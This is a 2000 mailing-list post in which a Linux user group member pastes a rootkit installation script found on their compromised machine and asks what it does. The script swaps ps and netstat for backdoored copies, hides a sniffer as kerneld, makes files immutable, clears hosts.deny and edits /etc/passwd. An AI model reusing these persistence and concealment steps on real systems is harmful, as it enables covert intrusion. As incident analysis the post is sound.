[lug] What does this mean?
nunar at mauromedia.net
nunar at mauromedia.net
Tue Mar 21 01:39:31 MST 2000
After some investigating, I managed to get a hold of the utility that was run on my system.
What is this doing? Please bear with me :)
Thanks,
Shannon
# !/bin/sh
#
# echo "* [ m O s ( l i n u x r k ) ] "
# echo "* beginning installation "
# if [ "`grep ALL /etc/hosts.deny`" ]; then
# echo "* cleaning hosts.deny, ALL found "
# mv -f /etc/hosts.deny /etc/host.deny
# fi
#
# ./setssh
#
# echo "* moving backdoors - netstat, ps "
# ./fix /bin/ps backdoor/ps /usr/lib/ldlibps.so
# ./fix /bin/netstat backdoor/netstat /usr/lib/ldlibstat.so
#
# echo "* moving files "
# mkdir -p /dev/sdd0
# mv .lib/anGsniff /usr/sbin/kerneld
# chattr +i /usr/sbin/kerneld
# mv .lib/* /dev/sdd0 -f
#
# echo "* rehashing inetd "
# killall -HUP inetd
#
# echo "* grepping cronexpl out of passwd "
# grep -v cronexpl /etc/passwd >k
# mv -f k /etc/passwd
#
# host=`hostname -f`
# ip=`hostname -i`
# hosts=`/sbin/ifconfig | grep "inet addr:" | wc -l`
# bogo=`grep bogomips /proc/cpuinfo|awk -F ' ' '{ print $3 }'`
# cpu=`uname -m`
# let hostz=$(($hosts - 1))
# uptime=`uptime|awk -F ' ' '{ print $3 }'`
# totmem=`free | grep Mem: | awk -F ' ' '{ print $2 }'`
# fremem=`free | grep Mem: | awk -F ' ' '{ print $4 }'`
# rm -fr /tmp/lerka
# echo " * system info:"
# echo " * uptime: ${uptime} days "
# echo " * cpu: ${cpu} "
# echo " * bmp: ${bogo} "
# echo " * ips: ${hostz} "
# echo " * total mem: ${totmem} "
# echo " * free mem: ${fremem} "
# echo " * addr: ${host} / ${ip} "
# echo " * done "
# rm -rf ../ac ../ler ../ak.tgz
# if [ `ps x | grep sshd` == "" ]; then
# /usr/sbin/sshd
# ps x|grep sshd
# fi
# ps x | grep sshd
# cd /dev/sdd0
# nohup ./more >>/dev/null &
# /usr/sbin/kerneld
Download NeoPlanet at http://www.neoplanet.com
More information about the LUG
mailing list